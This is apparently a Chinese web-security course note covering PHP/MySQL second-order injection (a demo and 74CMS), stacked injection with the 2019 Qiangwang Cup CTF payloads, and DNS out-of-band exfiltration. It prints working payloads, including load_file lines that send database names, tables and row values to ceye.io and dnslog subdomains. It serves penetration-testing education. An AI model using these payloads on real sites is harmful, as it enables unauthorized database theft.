当前位置： 首页 > news >正文

045-WEB攻防-PHP应用SQL二次注入堆叠执行DNS带外功能点黑白盒条件

news 2025/9/11 9:04:18

045-WEB攻防-PHP应用&SQL二次注入&堆叠执行&DNS带外&功能点&黑白盒条件

#知识点：

1、PHP-MYSQL-SQL注入-二次注入&利用条件
2、PHP-MYSQL-SQL注入-堆叠注入&利用条件
3、PHP-MYSQL-SQL注入-带外注入&利用条件

演示案例：

➢PHP-MYSQL-二次注入-DEMO&74CMS
➢PHP-MYSQL-堆叠注入-DEMO&CTF强网
➢PHP-MYSQL-带外注入-DEMO&DNSLOG

Untitled

#PHP-MYSQL-二次注入-DEMO&74CMS

黑盒思路：分析功能有添加后对数据操作的地方（功能点）（很难测出，sql语句的符号影响，转义不能直接看出，容错处理代码中是否有，找到在哪里触发（执行置入的sql语句））
白盒思路：insert后进入select或update的功能的代码块（源代码去审）
注入条件：插入时有转义函数或配置，后续有利用插入的数据（先插入后利用）

1、DEMO-用户注册登录修改密码（使用报错回显）

Untitled

Untitled

  1. 注册新用户时，将注入的内容包含在注册的用户名后：admin' and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)#**

  2. 成功注入，并查看数据库，数据库中也存放了响应的注入语句

  3. 正常登录：登陆后，随便输入旧密码和新密码，点击修改后，发现注入成功，错误回显版本号

    Untitled

    Untitled

    Untitled

    Untitled

    Untitled

    Untitled

需要注意的条件：实现二次注入，源码中有对应的转义（magic_quotes_gpc）或使用转义函数（addslashes）

Untitled

Untitled

  1. 在注册用户逻辑中，首先使用addslashes 转义函数解析POST请求中的username，

  2. 在后方插入新用户记录的时候，执行的SQL语句则会变为INSERT INTO users (username,password) VALUES ('admin\' and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)#','123456') 给username中的单引号添加转义字符\

  3. 在添加进数据库之后，数据库会自动删除转义字符/，方便后面执行修改密码的时候，查询对应数据，执行二次注入

  4. 如果不使用，转义函数，则会出现报错

    1. 报错的原因是：sql注入语句中，提前闭合了单引号，造成后面的密码值无法对应到表中的password列

    Untitled

Untitled

  • addslashes 是一个 PHP 函数，用于对字符串中的特殊字符进行转义，返回在预定义的字符前添加反斜杠的字符串。

    string addslashes ( string $str )
//参数：`$str` 是要进行转义的字符串。
//返回值：返回转义后的字符串。

    返回在预定义的字符前添加反斜杠的字符串。

    预定义字符是：

    • 单引号（'）
    • 双引号（"）
    • 反斜杠（\）
    • 零

  • magic_quotes_gpc 是一个在早期版本的 PHP 中存在的配置选项，其作用是自动对从 GET、POST 和 COOKIE 获取的数据进行转义。

    具体作用如下：

    1. 自动转义： 当 magic_quotes_gpc 启用时，PHP 会在从 GET、POST 和 COOKIE 中获取的数据中自动添加转义斜杠，使特殊字符成为安全的字符串。例如，单引号 ' 被转义为 \\'。

    示例：

    // 假设 magic_quotes_gpc 已启用$user_input = "It's a sample input";
// $user_input 变量包含 "It\\'s a sample input"// 在早期的 PHP 版本中，这样的输入在插入到数据库时会被自动转义

2、CMS-74CMS个人中心简历功能

  1. 配置并打开网址
  2. 前端对专业名称有长度限制，选中打开检查修改maxlength="120”值
  3. 在学校名称和专业名称注入：aa','fullname'=user()#
  4. 分析源码

Untitled

Untitled

Untitled

Untitled

Untitled

Untitled

Untitled

#PHP-MYSQL-堆叠注入-DEMO&CTF强网

堆叠注入触发的条件很苛刻，因为堆叠注入原理就是通过结束符同时执行多条sql语句，
例如php中的mysqli_multi_query函数。与之相对应的mysqli_query()只能执行一条SQL，所以要想目标存在堆叠注入,在目标主机存**在类似于mysqli_multi_query()这样的函数**,根据数据库类型决定是否支持多条语句执行.
支持堆叠数据库：MYSQL MSSQL Postgresql等

  1. 首先在数据库操作软件中Navicat Premium 16，使用：SELECT *FROM news WHERE id=1;CREATE TABLE xxx(test VARCHAR(255));语句，

    # **这是一个选择数据的查询，从名为 'news' 的表中选择所有列，其中 id 列的值为 1
# 创建一个名为 'xxx' 的表，该表包含一个名为 'test' 的 VARCHAR(255) 类型的列**
SELECT *FROM news WHERE id=1;CREATE TABLE xxx(test VARCHAR(255));

  2. 由于sql语句在Navicat Premium 16有特定解析，支持两个封号的语句拼接在一起执行

    Untitled

    Untitled

  3. 但是当该语句通过网址注入，由于php中多数执行sql语句的函数为mysqli_query()只能执行一条SQL：http://192.168.137.1:84/sqli/new.php?**id=1;CREATE TABLE xxx(test VARCHAR(255);**

    1. 所以不能识别执行，会报错

      Untitled

      Untitled

  4. 但是当php采用mysqli_multi_query函数接收并执行sql语句的时候

    1. 可以识别执行

    Untitled

Untitled

Untitled

1.目标存在SQL注入漏洞：

2.目标未对";"号进行过滤：

目标系统未对输入中的分号（;）进行有效的过滤或检查。分号在SQL中通常用于分隔多个SQL语句，因此，如果应用程序未正确过滤这些字符，攻击者可以利用这一点来注入多条SQL语句。

3.目标中间层查询数据库信息时可同时执行多条SQL语句：

在目标系统的中间层中，存在一种机制或函数，允许一次性执行多条SQL语句。这种情况通常出现在使用诸如 mysqli_multi_query() 或者 PDO::multi_query() 这样的函数时

2019强网杯-随便注（CTF题型）

';show databases;
';show tables;
';show columns from 1919810931114514;
';select flag from 1919810931114514;
';SeT @a=0x73656c65637420666c61672066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;
1、目标存在sql注入漏洞
2、目标未对";"号进行过滤
3、目标中间层查询数据库信息时可同时执行多条sql语句

  1. ';show databases;

    • 这似乎是尝试显示数据库

  2. ';show tables;

    • 类似于第一个，似乎是尝试显示表。

  3. ';show columns from 1919810931114514;

    • 另一次尝试从具有特定名称的表中显示列。

  4. ';select flag from 1919810931114514;

    • 类似于前一个，试图从表中选择名为’flag’的列。确保表和列存在。

  5. 由于提示不能使用select等，所以使用动态SQL语句，

    1. 将想要执行的语句，转换为Hex（16 进制）

    Untitled

    Untitled

  6. ';SeT @a=0x73656c65637420666c61672066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;

    1. execsql from @a;
    2. execute execsql;
      1. 在第一个步骤中，使用**execsql语句从用户变量@a中执行动态SQL。@a包含一个十六进制字符串，可能代表一个SQL查询语句。**
      2. 在第二个步骤中，使用**execute语句执行之前准备好的动态SQL，该SQL语句由第一步中的execsql**生成。
    • 这似乎是尝试使用用户变量进行动态SQL。在使用动态SQL时要小心，因为它可能存在安全风险。确保**@a**的内容是安全且经过正确清理的。

#PHP-MYSQL-带外注入-DEMO&DNSLOG

产生原因：有部分注入点是没有回显的，所有读取也是没回显的，采用带外的形式，回显数据

0.注入条件：

  • ROOT高权限且支持load_file()

  • **secure-file-priv=**设置→默认关闭，必须添加到MYsql的配置文件my.ini中

  • G:\develop\safety\phpstudy_pro\Extensions\MySQL5.7.26*my.ini*

    Untitled

    • secure_file_priv 是 MySQL 数据库中的一个系统变量，用于限制使用 LOAD DATA INFILE 和 SELECT ... INTO OUTFILE 语句时可以读取和写入的文件的路径。这个变量通常用于提高数据库的安全性，防止用户滥用这些语句导致的文件系统访问。
      • 如果设置了这个变量，MySQL 将仅允许在指定的路径下进行文件的读取和写入操作。
      • 如果没有设置，MySQL 将默认使用空值，表示禁用 LOAD DATA INFILE 和 SELECT ... INTO OUTFILE。
    • 例如，如果 secure_file_priv 被设置为 f:\\，那么在执行 LOAD DATA INFILE 或 SELECT ... INTO OUTFILE 时，只允许读写位于 f:\\ 目录下的文件。

  • 如果源码有回显则直接注入即可文件读写利用http://192.168.137.1:84/sqli/new.php?id=1 union select 1,2,3,load_file(‘F:\\1.txt’),5,6

Untitled

1.使用平台

http://ceye.io（适用dnslog打不开的场景下）只需要记住每次登录，分配的identifier即可

http://www.dnslog.cn

Untitled

Untitled

2.带外应用场景：

解决**不回显，反向连接，SQL注入，命令执行，SSRF等**

  • SQL注入：

    select load_file(concat('\\\\',(select database()),'.7logee.dnslog.cn\\aa'));
**and (select load_file(concat('//',(select database()),'.[rkmg30.ceye.io](http://rkmg30.ceye.io/)/abc')))**

  • 查询当前数据库

    Untitled

    id=1 and load_file(concat("\\\\",database(),".[**rkmg30.ceye.io**](http://rkmg30.ceye.io/)\\asdt"))

  • 查询其他数据库

    id=1 and load_file(concat("\\\\",(select schema_name from information_schema.schemata limit 0,1),".[**rkmg30.ceye.io**](http://rkmg30.ceye.io/)\\xxx.txt"))
"""
由于该DNS记录只能回显一个字段，所以因该使用limit，第一个参数是查询起始位置，第二个参数是查询个数
**limit 0,1 查询第一个数据库名
limit 1,1 查询第二个数据库名**
limit 2,1 查询第三个数据库名
"""

    Untitled

  • 查询版本号

    Untitled

    id=1 and load_file(concat("\\\\",version(),".[**rkmg30.ceye.io**](http://rkmg30.ceye.io/)\\xxx.txt"))

  • 查询当前数据库dome01中第一个表名

    Untitled

    id=1 and load_file(concat("\\\\",(select table_name from information_schema.tables where table_schema='dome01' limit 0,1 ),".[**rkmg30.ceye.io**](http://rkmg30.ceye.io/)\\xxx.txt"))
"""
由于该DNS记录只能回显一个字段，所以因该使用limit，第一个参数是查询起始位置，第二个参数是查询个数
**limit 0,1 查询第一个表名
limit 1,1 查询第二个表名**
limit 2,1 查询第三个表名
"""

  • 查询security数据库emails表下第一个列名

id=1 and load_file(concat("\\\\",(select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1),".dbuh8a.ceye.io\\xxx.txt"))

  • 查询字段值 数据库名为security 表名emails 列名id

    id=1 and load_file(concat("\\\\",(select id from security.emails limit 0,1),".dbuh8a.ceye.io\\xxx.txt"))

#CMS-74CMS网址配置

Untitled

Untitled

Untitled

Untitled

Untitled

Untitled

http://www.lryc.cn/news/307207.html

相关文章：

  • 【蓝牙协议栈】【BR/EDR】【AVRCP】蓝牙音视频远程控制协议
  • Head First Design Patterns - 单例模式
  • Mysql的备份还原
  • 分区表介绍
  • emacs 源码分析（七）
  • Linux运维-Web服务器的配置与管理(Apache+tomcat)（没成功，最后有失败经验）
  • 探讨分布式数据库ID生成解决方案
  • Clickhouse填坑记4：Too many parts问题分析
  • CertiK CSO Dr. Kang Li 确认出席Hack .Summit() 香港区块链盛会
  • C++ 游戏飞机大战， 字符型的
  • 用html编写的简易新闻页面
  • docker-mysql:5.7安装
  • SQLPro Studio：数据库管理的革命性工具 mac版
  • 【小沐学QT】QT学习之OpenGL开发笔记
  • kali安装ARL灯塔（docker）
  • 字节面试分享，请详细介绍为何Http Post发送两次请求
  • Flink CDC 3.0 Starrocks建表失败会导致任务卡主！
  • 基于 LVGL 使用 SquareLine Studio 快速设计 UI 界面
  • Selenium IDE插件录制网页，解放双手
  • 【LeetCode】【滑动窗口长度不固定】978 最长湍流子数组
  • 水库安全监测方案（福建地区水库安全监测案例分享）
  • Oracle内存计算应用模式
  • ELK日志系统
  • C++:list容器(非原生指针迭代器的实现)
  • 抖音视频批量下载软件|视频评论采集工具
  • Oracle RMAN 备份恢复
  • 【MySQL】学习和总结联合查询
  • Flink应用场景
  • 产品渲染3D效果图一张多少钱，哪个平台更有性价比？
  • 云原生之容器编排实践-ruoyi-cloud项目部署到K8S：MySQL8